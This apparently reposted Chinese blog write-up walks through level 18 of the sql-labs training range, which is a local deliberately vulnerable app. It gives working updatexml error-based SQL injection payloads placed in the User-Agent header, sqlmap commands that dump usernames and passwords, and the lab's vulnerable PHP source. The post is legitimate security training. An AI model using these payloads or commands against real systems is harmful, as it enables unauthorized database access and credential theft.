当前位置: 首页 > article >正文

sql-labs靶场第十八关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-18/

二、测试目的

测试user-agent请求头的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码

(这里因为上一关是重置密码的页面,将密码重置为1了,需要原本的密码重置sql-labs的数据库即可)

登录失败,没有显示

成功登录会显示user-agent信息,注入点在user-agent

2、注入数据库

①寻找注入方法

提交方式还是post,在user-agent头部注入,报错注入成功

a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#

or和and是逻辑判断符,为了闭合sql语句,返回布尔值为真,使sql语句合理并运行。

②爆库,查看数据库名称

爆出所有数据库(只写了一条例子),示例:

a' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) and '1'='#

③爆表,查看security库的所有表

爆表,security表

a' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) and '1'='#

④爆列,查看users表的所有列

爆列,users表

a' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) and '1'='#

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

a' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1) and '1'='#

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 --dbs

使用python程序

-r  指定抓到的数据包文件

--level=3      这个等级会检测user-agent、referer是否含有注入

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=3 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
    
function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,20);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
        
    else
        {
        $value = intval($value);
        }
    return $value;
    }


    $uagent = $_SERVER['HTTP_USER_AGENT'];
    $IP = $_SERVER['REMOTE_ADDR'];
    echo "<br>";
    echo 'Your IP ADDRESS is: ' .$IP;
    echo "<br>";
    //echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    /*
    echo 'Your Your User name:'. $uname;
    echo "<br>";
    echo 'Your Password:'. $passwd;
    echo "<br>";
    echo 'Your User Agent String:'. $uagent;
    echo "<br>";
    echo 'Your User Agent String:'. $IP;
    */

    //logging the connection parameters to a file for analysis. 
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Agent:'.$uname."\n");
    
    fclose($fp);
    
    
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "</font>";
            //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';          
            echo 'Your User Agent is: ' .$uagent;
            echo "</font>";
            echo "<br>";
            print_r(mysql_error());         
            echo "<br><br>";
            echo '<img src="../images/flag.jpg"  />';
            echo "<br>";
            
            }
        else
            {
            echo '<font color= "#0000ff" font size="3">';
            //echo "Try again looser";
            print_r(mysql_error());
            echo "</br>";           
            echo "</br>";
            echo '<img src="../images/slap.jpg"   />';  
            echo "</font>";  
            }

    }

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取变量是user-agent头和ip,sql语句是将user-agent和ip和用户名插入到uagents表中。

3.这关会弹出user-agent信息,也会有报错信息,利用报错信息,使用报错注入得到结果。

4.insertSQL语句,插入三个值,插入的变量是$uagent(外边加了引号),sql注入语句:'a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#',or和and逻辑判断符,使得语句确定为true,使insert语句正常运行,不至于语句出错。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,需要指定抓到的数据包,也需要指定level,爆破user-agent头需要level 3。

这关使用报错注入得到结果。


http://www.kler.cn/news/361517.html

相关文章:

  • 黑盒测试和白盒测试的具体方法(附加实际应用中的技巧和注意事项)
  • uniapp路由权限拦截守卫
  • 手机玩黑色沙漠?GameViewer远程玩黑色沙漠教程
  • Java 解决阿里云OSS服务器私有权限图片通过URL无法预览的问题
  • 一些简单的编程题(Java与C语言)
  • Express框架教程:中文详解与实例解析
  • SpringCloud无介绍快使用,单机Eureka服务注册中心cloud-eureka-server7001搭建(十)
  • 深入解析TableRAG:突破大规模表格检索的瓶颈
  • ECharts饼图-饼图纹理,附视频讲解与代码下载
  • C++左值和右值
  • C# 里接口(Interface)应用说明
  • 服务器文件夹挂载到客户端
  • 修复Oracle MySQL Server 安全漏洞(CVE-2023-0464)
  • Vue3 学习笔记(三)Vue3 项目打包及目录结构说明
  • TCP传输机制探索:滑动窗口,流量控制、拥塞管理、快重传、延迟应答详解
  • 【汇编语言】第一个程序(一)—— 一个源程序从写出到执行的过程
  • C# Linq常用方法
  • CSS3 动画相关属性实例大全(四)(font、height、left、letter-spacing、line-height 属性)
  • Web Service
  • 【力扣刷题实战】用队列实现栈
  • Vue3集成axios实现ajax请求
  • linux—基础命令及相关知识
  • Mysql同步数据库异常
  • 使用InternVL、LMDeploy和GTE搭建多模态RAG系统
  • 界面耻辱纪念堂--可视元素03
  • Python 曲线绘制